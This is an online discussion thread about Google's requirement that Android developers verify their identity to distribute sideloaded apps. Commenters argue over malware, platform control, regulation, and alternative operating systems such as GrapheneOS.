This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation.
As an example of government regulation driving this change, see [1].
This regulation of NSW, Australia considers rooted devices with extra non-Google/non-Apple approved security features such as a duress/wipe PIN (a standard feature of GrapheneOS[2]) as a "dedicated encrypted criminal communication device". How the device is being used doesn't matter. It's how it _could_ be used.
I don't know that it's that simple. Further down that section (1920) in reference [1] reads
"(3) A dedicated encrypted criminal communication device does not include--
(a) a device if--
(i) the device has been designed, modified or equipped with software or security features, and
(ii) a reasonable person would consider the software or security features have been applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection,"
It's not automatic: depending on what a reasonable person thinks and the definition of criminal activity.
> applied for a primary purpose other than facilitating communication between persons involved in criminal activity to defeat law enforcement detection
Does the jurisdiction matter? For example, if an activist was using a device to do things in another country that would be legal in Australia but were crimes in the other country.
I mean, in my country, it's increasingly unclear to me whether things like "loudly criticizing the executive branch" are now considered criminal. Recent executive branch statements on this issue seem to indicate that they may consider some critics criminal just for being critics. But it's hard to be sure. And so far, every critic they've threatened to arrest has also been accused of committing other crimes.
So "the government only considers a duress PIN illegal if it is used to facilitate crime" seems like a potentially tricky standard to apply.
At the pace of regulations we have, one day everything will be forbidden and we will all be criminals just for protecting our own wealth or security from these... yes, from these mafias.
I could use a knife to chop meat, not people; I could use a car to commute, not as a high speed bullet; I could use a gun to eliminate pests, not to kill people. Just because I can use something to do something nefarious doesn't mean it should be banned, of we should not use Internet at all because it facilitates scammers.
It is always the human mind that dictates the action, not the tool. It is futile to try and ban the tool, and I bet 100% they knew that.
This is uncanny and worryingly specific, and I'm not a lawyer, but if you're not already under suspicion of being a criminal, then installing graphene doesn't match this definition I think
Suspect, they wrote, and that happens all the time. If you go into a store on the way home from work, and 99 days this works fine but the 100th day they want to look in your bag, but you can't show them confidential drawings of the Google Pixel 14 Max that you carry as part of your work, now they'll think you really did steal something and you went from no suspicion (spot check) to definitely a suspect and new things start to apply to you, e.g. if you leave without resolving the suspicion the police might have grounds to enter your house or search you when you walk out next time. The suspicion is based on being a suspect, not on any actual evidence (nobody saw you put anything in your bag)
I mean, you don't really have to speculate about what this is for, it's for an authority providing for lawful search, it seems pretty well-scoped, and similar to any old search warrant, which is not a new thing, really https://classic.austlii.edu.au/au/legis/nsw/consol_act/deccd...
Basically, they're not really setting up for a blanket ban on personal security features, that interpretation is obviously catastrophizing. Not that there aren't hamfisted laws somewhere like this, but NSWs implementation seems OK I guess
And the problems of government regulation are why we need empowerment through good open technology, not the protection of the other side of the over-concentrated power see-saw.
Microsoft mismanaged it but there was a potential parallel universe where they were successful at that plan and consumer versions of Windows would be locked to the Microsoft store.
They did a bunch of terrible inept rollouts with confusing technology for both users and developers and effectively shot themselves in the foot. But it did not have to go down that way.
> there was a potential parallel universe where they were successful at that plan and consumer versions of Windows would be locked to the Microsoft store.
Sounds like a nightmare universe.
I've got a hobby app in kotlin multiplatform with iOS/Android/Windows/WASM builds and while I have no issues with Apple's App Store or Google Play, I've had nothing but problems trying to support Windows Store.
The MSIX installer format is horrendous to deal with and the certification process for new releases on Windows Store is always far too long and in the cases they do find issues the reports of the issue that they log are entirely worthless.
I ended up just pulling the app off the Windows Store entirely and making it a downloadable *.msi installer. While the extra layer of presumed integrity of the app being on the Microsoft Store would be nice it wasn't remotely worth the effort for the tiny amount of people who were using the Windows version in the first place, especially given the app is free.
Yep. They fumbled the ball on step 1 of demand aggregation and we got lucky there was nothing of value for the 99% of users that will blindly take the easy path.
> Microsoft has way too much of legacy software people use, banning it all overnight will not go well at all.
A lot of legacy software was killed off with the move to 64-bit Windows. Consumers survived that and for businesses registering their software with MS isn't a problem. They're already handing Microsoft all of their company email, their documents, their spreadsheets, etc. and paying Microsoft for the privilege. MS doesn't care at all about consumers.
They can just require hash of legacy binaries sent to Microsoft and rubberstamped back. Eventually they'll have a near comprehensive list of legacy binaries in common use, and move to block unknown binaries in circulation as "malware".
The malware excuse is just a palatable false pretense. "We have to protect granny!" Of course, she is getting fleeced by plain scam calls, not somehow sideloading apks onto her idevice, but the truth doesn't help advance their narrative.
Imagine that metaphorical granny that in an instant catches fire and turns into ash if the governments and large corporations don't have complete control over our lives.
To put the strongest face on it, by "cracked" youtube, you mean a version that shows the cracker's ads and maybe somehow generates extra clicks (or whatever) so they can get money out of it?
Cracked spotify? In my mind that's just like YouTube, almost entirely server-side. I guess you're talking about hijacking ads here, too? I feel like a "real" crack of Spotify would let you listen to music for free, but that should be impossible (unless their SWE's are incompetent).
You are approaching as is the malicious developer was trying to add useful features for the users.
But in practice, these “apps that lookalike popular apps” are not intended to just be adware-less versions of the popular apps. They are frequently “hide the ads, inject the malware with more permissions” Trojan horses.
I think there is likely a dual motive from Google where they both want to stop malware _and_ stop people blocking youtube ads. The malware problem is real though.
Those "cracked" versions often require extra permissions.
My favorite was a local "discover which on your contacts is on the leaked Covid quarantine list[1]" scam app. It claimed that the extra permission dialogs are just fearmongering by Google, who is in cahoots with big pharma, and wants covid to spread to sell more medications.
[1] In fact, no such leak has ever taken place, its existence was just part of the setup for the scam.
Did she ever get anything side loaded like that? I have downloaded malware by mistake before. Not once were they allowed to proceed with installation. The only way I got anything side loaded was if I installed the first one (which is always Fdroid) deliberately via ADB after I enabled the developer mode.
Malware is the excuse. Control is the goal. Extracting as much money from people while providing less actual value.
The saddest part is this is to the detriment of literally everyone except a couple rich owners of those companies. And everyone has the right to vote. But western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care.
If the vote came down to people in favor of walled gardens or in favor of forcing companies to open their platforms, with everyone else not voting, it would be a landslide. But there's no way to vote on it this way.
“western democracy is so indirect the people who understand and care have no way to change the law because their signal is lost in all the noise by those who don't know or don't care”
Wow, how fix (WITHOUT intelligence tests as voting requirement) :(
I don't think there's anything wrong with inteligence or knowledge tests. People obviously have wildly different abilities to make good decisions.
The real issue is that western societies are built on individualism and the is that everyone is equal when they are obviously not and this would expose the lie.
---
However, the real issue is that decisions are packaged together. People vote for a party which they agree with on a few issues (or just one) and the rest become the noise.
So we need to split voting by issue. You could have one vote to determine which issues people care about most, then have multiple separate parlaments - but there would need to be a mechanism to force them to only write laws for the specific issue which is hard.
---
We could also allow people to override the votes of their representatives. The more people vote directly, the less weight the representatives have.
No I'm not. I asked if anyone likes Windows. These people presumably have no opinion, it's just a means to an end. The closest thing I think you'll get is "I liked Windows 7" or something like that.
Those replies corroborate my point, if you think about it. They would have had an opinion if they had seen the alternatives. They would at least wish that Microsoft stopped doing these annoying modifications. I would know, because I have a rather large circle of friends who use only Linux or BSD.
This is a monopoly with annual gross revenues bigger than all but 42 countries behaving this way.
They have conspired to control the web, browsers, mobile computing, and soon AI. It's sickening how much bad behavior they get away with.
They were able to use YouTube to bludgeon Windows Phone to death and become the de-facto mobile duopoly. Then they were able to get their shitty search engine on all the panes of glass, didn't care one iota about search quality (just ads), but were able to leverage their browser engine control to remove adblocking capabilities.
I hope the DOJ/FTC split Google into a dozen companies.
It is so weird to read comments based on a belief that the current government is aimed at some goal of justice. I guess they're just still drinking the Kool-aid?
Trump was a breath of fresh air talking about frustrations with the status quo that other politicians wouldn't acknowledge. But the only reason he was bringing them up was for use as a cudgel to shake down companies to enrich himself. He will very most certainly go after big tech monopolies and break them up... iff those big tech monopolies don't put bribes into his pocket. As long as his pockets get fatter, then the status quo is just peachy. It's called "making a deal".
> I hope the DOJ/FTC split Google into a dozen companies.
This is just such an insane thing to say. It's like a Russian posting "I really hope our DOJ/FTC splits up Lukoil into a dozen companies!". But Russians don't post that because they're actually sensible.
> This is the future; partially fuelled by malware, partially fuelled by the desire for platform control, and partially fuelled by government regulation.
I would say it’s really 50% platform control, 50% government regulation.
Malware is the excuse. I went, without super skill, 40 years while only contracting two viruses ever (one was Kakworm, the other was inert at the time because I was an Amiga user who kept a copy of Scorched Earth on a floppy, which never infected my Amiga).
> I predict Windows will end up going this route before Google backtracks on it.
It will not happen in the next 10 years. Right now people would just make generic launchers and then use them to manually load and execute any binary they please. Options include just writing your thingy in a scripting language and run it in node.exe, python.exe, or compile it to WASM, use native bindings of a scripting language, abuse a random verified electron app, ship with and use a random vulnerably driver, etc etc.
Even remotely getting to the point where locking Windows down to that degree would be possible is going to take MS a long time, fighting friction from users all the way. The whole ecosystem would have to change drastically for that sort of control to even be possible and make sense.
The holes aren't really there because it would be so hard to close them in a vacuum, they're there because decades of software people use rely things working the old way. People aren't going to switch to a new OS on which almost nothing works anymore.
A few years from now: After reviewing the usage of the approved sideloading feature, we discovered no more than 0.01% of users ever sideload an application. For security, sideloading is now disabled on all devices forever.
Surely the e-waste from discarding an x86 Windows computer you could have put Linux on out-weighs the power benefit of Arm/RISC-V. Also seems like you would discourage people who cannot afford new hardware from moving from a closed system to an open one; most PCs and laptops are still x86 except for the newest models.
No, because it uses 10x the energy. Electricity is not an energy source.
As I said the X86 would use linux but as a server, not a client.
A server has to handle thousands of clients and then it's ok to have the extra power.
I don't understand why you think the last sentence, it makes no sense:
I am encouraging people to get low price, low power, open hardware and software for everyday use before the KWh goes to $1 which is HAS to do, hopefully not too soon.
Do you have a source for x86 taking x10 the energy? I generally hear that Arm is something like 30-40% more power efficent which lines up with my experience that Arm laptops don't have 10x more battery life than x86 ones.
In any case, my point in the last sentence is not that we shouldn't encourage people to use more power efficent devices. My point is that encouraging people to use open software and encouraging people to use power efficent devices are, to me, two seperate and unrelated goals. It seems that, by not offering x86 Linux you sacrifice one goal over the other which doesnt seem needed.
I suppose that the part of your position which I don't understand, and I am still interested to hear more about, is: if you are this concerned about openness and power efficiency, why even offer x86 Windows which is objectively worse by your metrics than x86 Linux.
A fully kitted "gaming " machine draws minimum 150W at 60 FPS, most people have 120+Hz monitors so even an indie game draws minimum 300W.
The 3588 that can play HL2 at 300 FPS draws maybe around 10-15W.
Windows is 99% of the market today so if you don't support it you don't exist, in 5 years I'm hoping Windows will be around 50% because people will grow tired of the violent AAA games and electricity prices will rise.
Playing a couple of hours will soon cost more than the game costs to buy.
Ha ha very funny from no-evil-google. The worst most misbehaving apps I've ever had the misfortune of using came from their app store. The best apps I use regularly are from F-Droid, github and ones I baked myself. You take that away and your Android is Nodroid.
Well I guess my next is an apple, but I'm hoping open-source android distros will get more dev resources now. Will happily use a sub-optimal distro over google's.
This of course has nothing to do with security, it's mainly the managements reaction to Youtube alternative apps actually growing in userbase (happy user of one here). And also to ban alternative app stores naturally.
Let us all not forget that YT videos are internet users created not google created, and the only reason why Google thinks this will work for them is their belief there is no competition to YT.
Obviously Google considered and prepared for a huge negative feedback when they have made this decision, so I don't think we can change that.
Having said that I can only see living with two devices going further: one locked down for banking & stuff and another one for freedom.
Unfortunately, I can also envision a locked down internet available only on certified devices in ten years. Absurd? A mere idea of a locked-down Android device looked absurd... yesterday. Just yesterday.
I like your take, we see too many easy-to-write outrage articles on here these days, and rarely do we see a discussion or concrete list of actions that can be taken. eg. send a physical letter to this address, or boycot this or that service for 24hrs on such a date etc.
Personally I de-googled last year, but those numbers never get counted by the bean-counters, so it is not much of a protest.
In this case I dont think much can be done via legislation, since the governments work less and less for-the-people. This is just the next logical step on the KYC road, but for developers, GitHub is heading the same way, along with EU chat controls, UK age controls, Digital Euro, and the rest.
The EU right-to-privacy may as well be torched, and freedoms that were hard won, will continue to be surrendered for an easier swipe of a gadget.
On another thread someone opened my mind on this with a reminder that "the EU" is actually a large continent of many countries, each containing very large amounts of points of view and parties, and just because one set is clamoring for Chat Control does not mean that all the other folks who launched GDPR are gone.
I'm wondering the same thing in the US. Aside from writing Google and complaining, and purchasing a phone with a different OS (GrapheneOS or PureOS, for example), I'm not sure what else to do.
The issue with that 2nd solution is, "purchasing a phone with GrapheneOS" only registers from Google's perspective as "we just sold an additional Pixel, so we're doing good right now"
Personally, I fear addressing this issue to Google is wasted effort, since they "only" try to establish what Apple already has in place. Both mega-corps being in the U. S. (plus Trump threatening all countries that try to regulate U. S. technology yesterday) makes any appeal somewhat void.
That means, we have to do it ourselves. The first thing we can do is write to our MEPs. All of them. Thankfully, x775 has made a website in protest to the EU chat control law that makes find your MEPS E-mail addresses really easy, so maybe we can just take advantage of their work and use it to frame our own request. The relevant HN post is here: https://news.ycombinator.com/item?id=44858504
Honest answer? You need to lobby your national left-wing, pro-privacy parties to start being openly anti-immigration so that they can actually stop shrinking every year.
I'm sure this will be a massively unpopular one, but it doesn't change that this is the reality you're facing. Go look across the makeup of the EU parliament over the last 20 years and how it has shifted. Check the main reason people have voted this way. Then go look at how the EU parties vote.
"But it shouldn't be this way!" Then enjoy your further slide into authoritarianism.
We're sliding into a whole other topic here, but I can't help but wonder whether any of the pro- and anti- immigration debate will have mattered, looking back 20 years from now when half a billion people will have been forced to move due to climate change.
I knew this was coming thanks to the nincompoops bankers and IMDA together with horny uncles who fall for love/job scams here in Singapore. The reason I use android over iOS is that I can load apps for personal automation. I think the current scenario where bank apps refuse to run on phones with sideloaded apps is far more acceptable. Im not sure scammers will not find a way around this. I can still be able pin web apps.
FWIW I'd rather not use my phone for critical transactions its making authorities lazy. The number of times Ive had to fight thanks to "buggy" payment code that deducts money is not funny and banks are getting worse at customer support day by day.
Also what the fuck are the governments doing with tax payer money, instead of going after criminals, we go after citizens.
I don’t have data to support this, but I believe the smartphone is the most widely used device globally on a daily basis. Wouldn’t it make sense to have an Open Hardware Phone and Mobile OS built on an open specification to rival Google’s Android?
What’s stopping us from making this a reality? We have passionate FOSS developers and visionary leaders capable of championing this cause and building a strong community around it.
I had high hopes for Marc Shuttleworth’s Ubuntu Phone. Unfortunately, after the Kickstarter campaign fell through, development stalled. I still believe consumers missed out on a remarkable piece of technology.
That said, I see Ubuntu Touch[1] is still active, though I’m unclear on its current impact or progress. Meanwhile, Smart TVs and smartphones continue to be dominated by Google’s Android OS.
FOSS/Linux has had many attempts at phones, but they need one good leader to do it, which is very hard unless someone with name recognition gets everyone to work on one project.
I used to be an android developer and they disable my account because I took too long to reply to their mail. Since then I have been unable to recover it, they never reply to email and process your request to oblivion. Their bureaucracy is even worse than our french administration and that is saying something! At this point google is basically digital sovietism.
Mobile phone platforms are reverting back to the pre-iOS/Android reality where you have to jump through tons of hoops to even make an app let alone run a viable business with it.
AFAIK in some countries (US?) phones were usually sold locked in a sense that you could only install J2ME midlets published by your mobile provider, who'd nickel and dime both users and devs for the privilege.
It feels like US companies have long given up the pursuit of new innovations, and are now innovating new and creative ways to rent seek their own customers.
A fellow developer started a petition to stop Google from limiting app installation on Android devices unless developers provide personal identity documents.
Even though Google has not revoked similar controversial policies in the past, we do our best as much as we can. This change particularly threatens the freedom to build, share, and use software without giving away sensitive personal information. It affects independent developers, FOSS contributors, and even regular users who want to install apps outside of Google Play.
"Just imagine giving sensitive personal, government-issued ID to a corporation to install an app outside Google Play"
Let’s stand together to protect our freedom to create and use software without handing over personal information to a corporation. Every signature, share, and voice counts here
A program is free software if the program's users have the four essential freedoms: [1]
The freedom to run the program as you wish, for any purpose (freedom 0).
The freedom to study how the program works, and change it so it does your computing as you wish (freedom 1). Access to the source code is a precondition for this.
The freedom to redistribute copies so you can help others (freedom 2).
The freedom to distribute copies of your modified versions to others (freedom 3). By doing this you can give the whole community a chance to benefit from your changes. Access to the source code is a precondition for this.
I wasn't aware of obtainium. Thank you. I was thinking of something more like Google Chrome mobile edition but for APKs. So more focus around the search interface.
This is how macOS works, without a signature they will tell you they can't guarantee it doesn't have malware and you need to go to settings and choose to run anyway (and most people don't even know about it).
Microsoft would love to do that too, but it just has too much of legacy software to introduce such a major hurdle.
> This is how macOS works, without a signature they will tell you they can't guarantee it doesn't have malware
Even with a signature they can't guarantee it doesn't have malware. The fact that signed malware exists should be enough to put an end to the argument that it's for our own good.
If you had to give away your privacy to use one and could only use helmets authorized by your motorcycle dealer you might have a point. We accept impositions on our freedom all the time when what we get in return is worth the sacrifice. If signed binaries actually delivered on their promise of keeping people safe there'd be a discussion that could be had on whether or not it'd be worthwhile, but since they don't actually protect people we'd be giving up our privacy for nothing.
"the argument that it's for our own good." is their instance that we should accept this loss of our freedom to run the software we want because it protects us. It doesn't actually protect us though, so it isn't worth it and we shouldn't accept it.
My original statement had nothing to do with motorcycle helmets, but if using them required us to give up enough of our freedoms they could also become unacceptable for the level or protection they provide (or fail to provide) us.
The existence of signed malware does not mean that it isn't in our own best interest to have signed software. It's the argument of antivaxxers. You are probably equally confused how that works as well.
"It doesn't actually protect us though, so it isn't worth it and we shouldn't accept it."
That is completely false and dangerous misinformation.
> Starting next year, Google will begin to verify the identities of developers distributing their apps on Android devices, not just those who distribute via the Play Store.
Odd little phrase, "distributing their apps on Android devices".
I think "distributing" in this context is in the sense of product distribution, not in the sense of distributed systems.
But "distributing...on" sounds a little odd, like Google is still providing a distribution service. (Contrary to all the precedent of how we've thought of installing software, other than the proprietary, captive-user app stores.)
And so, maybe "distributing...on" makes it sound more like Google is (once again) entitled to gatekeep what you can run on your device/computer.
> However, developers who appreciated the anonymity of alternative distribution methods will no longer have that option. Google says this will help to cut down on bad actors who hide their identity to distribute malware, commit financial fraud, or steal users’ personal data.
Maybe it's not "developers who appreciated the anonymity" (which we immediately try to conflate with bad actors), but that the whole point lately has been to stop the greedy proprietary lock-in app store monopolies, and not have them gatekeeping what everyone else can do.
"Distribute on" sounds odd because it's incorrect. APKs are not distributed by putting them on phones and carrying the phones from one place to another. "Distribute to" would be more correct; better yet, "develop for".
I rely on an open source app called xDrip to manage my diabetes. It's way way way better than any of the official apps. It's not distributed on the app stores for obvious reasons. Many others rely on this app as well. Are we cooked?
It's starting to look like I may end up with two phones. One with Lineage and most of my apps, hopefully, and another one with Play Protect which hopefully will be just my bank app. Google has become way too powerful and is encroaching step by step on our freedom, it's terrible. Tt's been going on for a long time. It's the IT equivalant of authoritarianism!!
Yeah, I think I will do that strategy as well. I will probably put Graphene on my next phone, and if any apps don't work I will keep them on another phone.
So where do we complain? (Aside from shaming Google on social media or writing to politicians.)
If I look through Google's contact links, it's all oriented around getting help with a problem rather than letting them know I'm going to move to something else if they go through with this. (And yes, even if Apple has the same types of restrictions on app store, if a more open alternative OS didn't work out for me, I'd move to them to punish the one dropping freedom of use.)
> The requirement will go into effect in September 2026 for users in Brazil, Indonesia, Singapore, and Thailand. Google notes how these countries have been “specifically impacted by these forms of fraudulent app scams.” Verification will then apply globally from 2027 onwards.
At least most of the world has until 2027 to install LineageOS or GrapheneOS.
Apps are increasingly failing to run on grapheneos because Google is pushing for the play integrity verification. More and more apps, some critical like banking apps, some not at all, require your device to be running an official rom signed by Google.
So I will go back to carry two devices, I guess. Like when I had a Jolla Phone and an Android phone. Or before that with a Palm PDA and a dumbphone. It is convenient to have everything combined in a single device, but guess that turned out to be just a temporary luxury.
Great for you. What about the normies ? You know the people that protest and make things change, how they are going to organize themselves when their government gets authoritarian and apple/google obeys to governments request to forbid some app. You know like what happened during Hong Kong protest with Apple App Store.
I’m not saying I have a solution but looking at yourself and pretending it’s all fine because you’re 10 times more tech savvy than the average citizen isn’t a viable answer. That kind of issue must be solved by regulation, hopefully Europe gets to bring back on earth whoever at Google agreed on that idea.
It's not "all fine", but realistically it's the best that you can hope to achieve.
The "normies" won't protest because it mostly doesn't affect them, at least not in any direct and obvious way that would trigger a pushback.
Regulation is unlikely to give you what you want. For one thing, regulators love centralization in general because it makes it much easier to regulate - when there are only a few large players, you can write the laws around them, effectively forcing them to be the enforcers. A large and diverse field where users can install whatever apps from wherever is much harder to regulate wrt things like banning porn or violent games or whatever it is that "normies" feel upset and demand that SOMEONE DO SOMETHING ABOUT IT!!!1! today.
This isn't to say that you shouldn't try to use political tools. Just be very clear that what you're trying to achieve is a minority take, and therefore you're unlikely to actually reach the goal in a democracy; at best, you will move the needle very slightly.
So, if you want to actually enjoy freedom in the meantime, learn how to be a criminal.
I’m not saying normies would protest about that ! I’m not mad, most people will never know nor even care until it’s too late.
I’m referring to protest happening in context like Hong Kong or in Africa during state coup, then having a phone that can run apps used to organize themselves without any government (and so Google) overreach is a necessity.
At the individual level, we could at best petition European deputies.
You’re saying government love centralization so they won’t do anything yet in apple case they forced them to allow third party App Store. Sure Apple did Apple stuff and put horrendous conditions and pricing but the political will was and is still there in Europe.
So I guess now is the time to decide whether Pixel is actually something I would want to purchase from Google ( and support the decision they just made with cash money ) or.. what exactly. I am not a Apple fan either.
Taking the article at face value, they'll have to register with google and have their apps be signed. Presumably this is subject to less review than the play store (eg. you don't have to justify your permissions list or whatever[1]), but there's no guarantees that developers will bother with the hassle. A lot of developers are willing to put some release up on github, but not dox themselves to google.
Yeah... They just want to ban NewPipe. It's sad to see Android getting locked down, also with the source closing of the development branches, etc. I can as well buy Apple then, it doesn't matter anymore.
If you maintain it as a hard fork, why not? New phones technical specifications improvements are diminishing last few years anyway. As long as it works, it can last for many years to come. The question is only in the project budget, I think.
So what's the solution? What's the reaction of semiofficial Android forks? Should we switch to Huawei now? Should we then have two phones? One with Android fork and one with some other "official" OS?
I would presume that open source android distributions can get around this. Like LineageOS and GrapheneOS. Hopefully this change will give them more popularity. But I assume Google is also trying to lock down hardware so you can't install anything else than their propietary Android.
The only silver lining I see is if it allows you to bypass this by enabling dev mode on your phone. If you can't sideload unverified apps even in dev mode, that would be insanely bad.
IF that is the case, I'm actually willing to be slightly inclined to see this as a positive? We should normalize installing apps outside of Google Play, but that means malware becomes a serious issue with people downloading and installing random APKs.
e.g., this may normalize people hosting downloadable APKs whilst also reducing malware risk for "normies", which idealistically could weaken the "monopoly" of Google Play on android.
This has the potential to be disastrous for Google, but maybe not.
Personally: I don't use Apple because I like being able to whip together little apps to side-load without having to check in with a walled-garden mothership. If Google is going to move closer to Apple in that regard... Apple's UX ecosystem is better, so I have far fewer reason to keep using Android.
I suspect this won't be disastrous for Google, because where will people care about this go? Apple, who is even more restrictive? This is just another in a long series of incidents showing why we desperately need a real alternative to the mobile duopoly. I would ditch Android over this, but there's no realistic alternative available to me.
It's a good question. I've looked at PinePhone, but last time I looked at it in detail it was light-years outside my needs for usability (very much a "we are CLI authors and are trying our hands at a mobile UI as a hobby" situation).
I think I'll look into what Android phones are out there that aren't glued to the Google Play ecosystem. Side-loading is still a feature the OS core supports even if Google switches it off (for now, and AFAIK the OS is forkable if they press the issue).
I think the only thing hat can save us is a jailbreak. Either for iOS or Android to let you sideload apps.
Alternatively, and that’s almost bullshit, the dumb phone trend continues and we might get devices like PDAs. Get a dumb phone and a small camera and then your PDA for everything that is essentially an app. Not sure what OS they’d run but I don’t see another way.
Android also allows apps that can run arbitrary code, like emulators and various other runtimes. I think iOS still doesn't? I have not written an Android app in ages, other than at work, but I often write silly little things running in the Löve 2D Loader, or TIC-80, or DOSBox, or just command-line tools running in Termux (I hear there is an X-server as well to run GUI applications from Termux?).
As long as they still allow running stuff inside of apps like that I will probably not abandon ship yet.
They recently allowed emulators, like RetroArch, to be on the app store. They still require the emulators to be written in Swift AFAIK. Still quite a bit more restrictive than Android, but they have slowly been opening up.
Everybody DEMANDS Google "do something" about malware, scam and fake apps. So it does.
For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed. They are often lured into installing scamware through exactly sideloading APK, completely unaware of the risks.
In the article there's this comment:
> I'm struggling to see the benefit of this new policy. While it's presented as a security measure, the requirement to fill out these forms seems like a trivial barrier for actual malware creators, who will easily abuse the system.
Every scammer will have a different code signing certificate which you can then block if they spread malware. Right now it's a huge mass of scammers and malware authors indistinguishable from each other. And Google could possibly block them all which would also block legitimate applications (now that would spark outrage). Thanks to the new policy it'll be easy to add a single cert to the blocklist.
If you want absolute freedom on your device, just install a different Android - for example Graphene, Lineage, /e/OS, or Calix. They are all Android too.
It's so fashionable these days to go after Google.
No, the average Janes and Joes don't enable side-loading: it's a toggle, not enabled by default, it's in an advanced setting pane and it's good as it is. Google has been controlling what is installed through their Store and that is enough for 100% of average users. They have been doing it badly though, leaving many scams through, same for Apple. They should focus on this, not the advanced users.
It's hard to find reasons to protect someone trying to install a shady app. Using that one reason to kill the possibility to install third-party apps for everyone is shady.
>For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed
We could also teach basic computer literacy in schools so people could understand common scams. We could sell phones with "extra protections" that people with less knowledge could buy.
The only reason to force this crap on everyone is control. What google cares about is getting rid of people's ability to block ads, kill youtube vanced, and so on.
Google will implement this, the consumers will pay for it, scams will still exist, and Google will open their hands and say "welp we tried". The infrastructure will already be in place, and it will never be revoked.
Who's going to pony up the capital to teach computer literacy to a 70 yo in the boondocks of X developing country that is the primary demographic for these scams?
Public education is already funded in most of the world, we just have to add it to the curriculum. People who can't be reached through that can just buy the "protected" phones in the meantime.
How would you feel if Microsoft applied the same logic to windows? Suddenly only apps from the microsoft store are allowed.
Why do smartphone makers get all these special privileges while Microsoft got the law handed down on them for daring to bundle a damn web browser with their OS?
I don't think they're teaching old people how to enable developer mode and sideload an apk onto their phone, rather than just asking for bank information over the phone with a convincing lie.
Nobody is demanding Google do anything aside from a very loud minority who is scared of everything. There is no malware, scam, fake app problem for anyone with an IQ of more than 70.
I never had a malware/scam/fake app problem. Nobody I know has ever had malware/scam/fake app problem. This feels like a manufactured imaginary problem to me.
> Everybody DEMANDS Google "do something" about malware, scam and fake apps. So it does.
Which Google department are you at? Some good stuff you've convinced yourself of here. My social circle is 99% normies, not once of them has ever brought this up. Normie news doesn't bring it up. You do though, to justify yourself.
> Thanks to the new policy it'll be easy to add a single cert to the blocklist.
And another tomorrow. And then five more the day after, four of which will have been stolen from clueless legitimate developers, whose apps will get blocked too.
Microsoft tried this whole nonsense before, it doesn't work in practice.
> If you want absolute freedom on your device, just install a different Android - for example Graphene, Lineage, /e/OS, or Calix. They are all Android too.
Sounds to me like an APT rootkit vector that will be the next on the chopping block.
> For an average Joe and Jane, who gets their money stolen, that's a good move. They don't care about technology, they just want their bank, instagram, cat pictures and video calls to work and not get scammed. They are often lured into installing scamware through exactly sideloading APK, completely unaware of the risks.
Maybe Joe and Jane should learn their lesson instead, and don't do banking on their cat picture device, if they can't keep it safe.
Will it be possible to bypass this limitation for users with rooted devices? If that were the case then I guess that would add more weight to companies who provide firmware and OEM unlocking for android devices: https://github.com/melontini/bootloader-unlock-wall-of-shame
This was probably the reason Nokia died. Symbian development, already cumbersome and app deployment required some such procedure. I remember there was an joint effort in a china based forum and many of us got a cert and a key for our phones. I was reading Nokia obituaries from its executives and the sorry state of Symbian development and app deployment was not considered as a cause. So here it, is young executives repeating a simplistic and destructive strategy. ibm, xerox, nokia and intel will be very proud.
It just so happens that Google phones have good hardware level security - unparalleled in market, actually. The only issue is that default OS installed from factory uses this hardware security for nefarious purposes.
If you swap the OS, you get the best of two worlds.
The point is that GrapheneOS will continue to allow the sideloading of Android apps (and Google cannot do anything to prevent that).
Just because Google has been generous enough (or inattentive enough) to allow Pixel devices to run alternative OSes is not a reason to avoid GrapheneOS. Also, the Graphene project is in discussions with a manufacturer to produce a non-Pixel phone running GrapheneOS.
One reason is that Graphene has much better security than any of the other AOSP derivatives.
I seem to recall that Graphene's leaders maintain that Pixels are more secure when running Graphene than any other smartphone would be (when running Graphene), which is not surprising given how good in general Google is at security compared to other large tech companies.
Additionally, this kills apps like Revanced, NewPipe, SmartTube that will now be required to give out ID to Google, surely that's something they really want to do. All Open source development is at threat, Google's absolute dogshit procedures already imposed for the play store now imposed to the entire ecosystem. All for a shitty system that breaks down to "registering package names". Cool then, guess it's time to typo squat on every variant of com.faceboook.app, because users definitely check the package name and not "oh the icon is right and so is the title".
More and more locked down devices, Android source releases only being published once a year, device drivers for reference devices disappearing, and now, verification of all your software for your "security". The war on general computing is well and truly on.
He was unable to suggest any pragmatic alternatives. He just said "I don't own a smartphone", ignoring the fact that many people become very disadvantaged without one.
The real heroes are the people that facilitate alternatives, not those who talk.
Stallman is probably in the top 10 of all time in terms of people who facilitated alternatives to this. He invented the GPL and wrote and maintained a ton of tools for people running alternative software stacks to use. What more would you ask for?
>I know quite some people who live this way, and are very willing to overcome inconvenient hurdles to avoid having to use such a spying device.
This is kind of a lazy approach, and it's a good thing Stallman did not have that attitude towards personal computers.
But it's a bummer that there's no real equivalent for mobile devices. I use an Android device and I already consider it to be more locked down than Windows. Generally more irritating than Windows as well (maybe not Windows 11)
I also use it as little as possible (unfortunately more and more things require it) and try to get the smallest functional (for me) Android devices.
There are alternatives, using them involves sacrifices though, and there the modem baseband isn't replaceable yet. Take a look at GrapheneOS, F-Droid, Replicant, Purism Librem, PinePhone, PostmarketOS, PureOS, Mobian etc.
Okay, let's say you just became an enlightened person who understands that the current state of things need to be fixed.
To actually free yourself requires both commitment on your end and work on other people's end, those people who help facilitate alternatives and guide others to having more freedom and privacy. We need more of that work.
The speakers of the world have their place, of course, but that's not the most important part of the solution.
> To actually free yourself requires both commitment on your end and work on other people's end, those people who help facilitate alternatives and guide others to having more freedom and privacy. We need more of that work.
Such people both lead by example, and try to inspire others towards following their example/lifestyle. The problem rather is that most people want a different lifestyle (in the particular example of privacy and freedom "one with less radical consequences", which I consider to be rather contradictory, but this discussion shall be off topic).
To give an analogue: many vegetarians both lead by example, and inspire others to become vegetarians. But many people nevertheless don't want to become vegetarians.
This is crazy, this means 10 years from now only terrorists will distribute software. Unacceptable! How many platforms now allow one to build and distribute a binary?
Only Linux, BSD and other operating systems that are entirely Open Source.
Even Windows has scary warnings now that pop up unless you pay several hundred dollars a year plus you have to go through a completely unreasonable process (that often requires being shipped a physical USB device) just to sign your application.
The attempts to roll out digital ID are similar to the perennial efforts to backdoor encryption. When one push fails, the proponents regroup and formulate a new approach. The recent successes with "age verification" have encouraged digital ID proponents. Expect further encroachments, scaremongering and trial balloons.
